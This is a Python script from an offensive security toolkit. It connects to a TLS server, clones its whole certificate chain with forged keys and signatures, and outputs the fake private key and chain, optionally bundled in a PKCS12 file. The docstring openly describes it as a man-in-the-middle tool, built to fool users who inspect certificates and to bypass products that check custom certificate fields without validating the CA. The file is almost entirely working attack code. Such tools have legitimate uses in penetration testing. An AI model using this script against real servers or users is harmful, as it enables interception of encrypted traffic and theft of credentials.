#!/usr/bin/env python3
#-*- mode: Python;-*-
#
# Requires Python 3+


'''
An experimental script which attempts to clone a server certificate's entire 
certificate chain, ideally altering only the keys and signatures along the 
way.

This is useful in a few man-in-the-middle attack situations, including:
- You swap out certificates on a user and the manually inspect the certificate 
  properties before accepting them.  Identical properties are more convincing.

- A product includes special-purpose certificate properties that are validated
  with custom procedures (e.g. client user name, product serial number, ...).  
  If these properties are validated but the certificate's CA isn't, then cloning
  the full set of certificate properties is essential to bypass the 
  authentication.

Currently, this script is somewhat limited and buggy, but will hopefully
improve over time.  Patches welcome!


Copyright (C) 2014,2016 Blindspot Security LLC
Author: Timothy D. Morgan

 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU Lesser General Public License, version 3,
 as published by the Free Software Foundation.

 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.

 You should have received a copy of the GNU General Public License
 along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''

import sys
import argparse
import traceback
import socket
from bletchley import ssltls
try:
    import OpenSSL
    from OpenSSL import SSL
except:
    sys.stderr.write('ERROR: Could not locate pyOpenSSL module.  Under Debian-based systems, try:\n')
    sys.stderr.write('       # apt-get install python3-openssl\n')
    sys.stderr.write('NOTE: pyOpenSSL version 0.14 or later is required!\n')
    sys.exit(2)


parser = argparse.ArgumentParser(
    description="An experimental script which attempts to clone an SSL server's"
    " entire certificate chain, ideally altering only the keys and signatures"
    " along the way.  The script prints results to stdout, starting with a PKCS7 (PEM)"
    " key (the fake server private key) followed by the newly forged certificate"
    " chain, also in PEM format.  (The new intermediate and root private keys are"
    " not currently printed, but will likely be somehow available in a future"
    " version.)")

parser.add_argument('host', nargs=1, default=None,
                    help='IP address or host name of server')
parser.add_argument('port', nargs='?', type=int, default=443,
                    help='TCP port number of SSL service (default: 443)')
parser.add_argument(
    '--p12', dest='p12_filename', type=str, required=False, default=None,
    help='If specified, a PKCS12 file will be written with the generated certificates'
    ' and server key (in addition to normal PKCS7 output).  NOTE: the file specified'
    ' will be overwritten without prompting if it already exists.')
parser.add_argument(
    '--p12password', dest='p12_password', type=str, required=False, default='bletchley',
    help='If specified along with the --p12 argument, the PKCS12 file will use this password'
    ' to encrypt the server private key.  (Otherwise, the password "bletchley" is used).')
options = parser.parse_args()

#print("REAL CHAIN:")
connection = ssltls.ConnectSSLTLS(options.host[0],options.port)
chain = ssltls.fetchCertificateChain(connection)
#for c in chain:
#    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))

#chain = normalizeCertificateChain(chain)
#for c in chain:
#    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))

#print("FAKE KEY AND CHAIN:")
if not chain:
    sys.stderr.write("ERROR: Could not retrieve server certificate\n\n")
    sys.exit(2)

fake_key, fake_chain = ssltls.genFakeCertificateChain(chain)
print(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, fake_key).decode('utf-8'))
for c in fake_chain:
    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))

if options.p12_filename:
    p12_file = open(options.p12_filename, 'w+b')

    p12 = OpenSSL.crypto.PKCS12()
    p12.set_ca_certificates(fake_chain[1:])
    p12.set_privatekey(fake_key)
    p12.set_certificate(fake_chain[0])

    p12_file.write(p12.export(passphrase=options.p12_password.encode('utf-8')))
    p12_file.close()
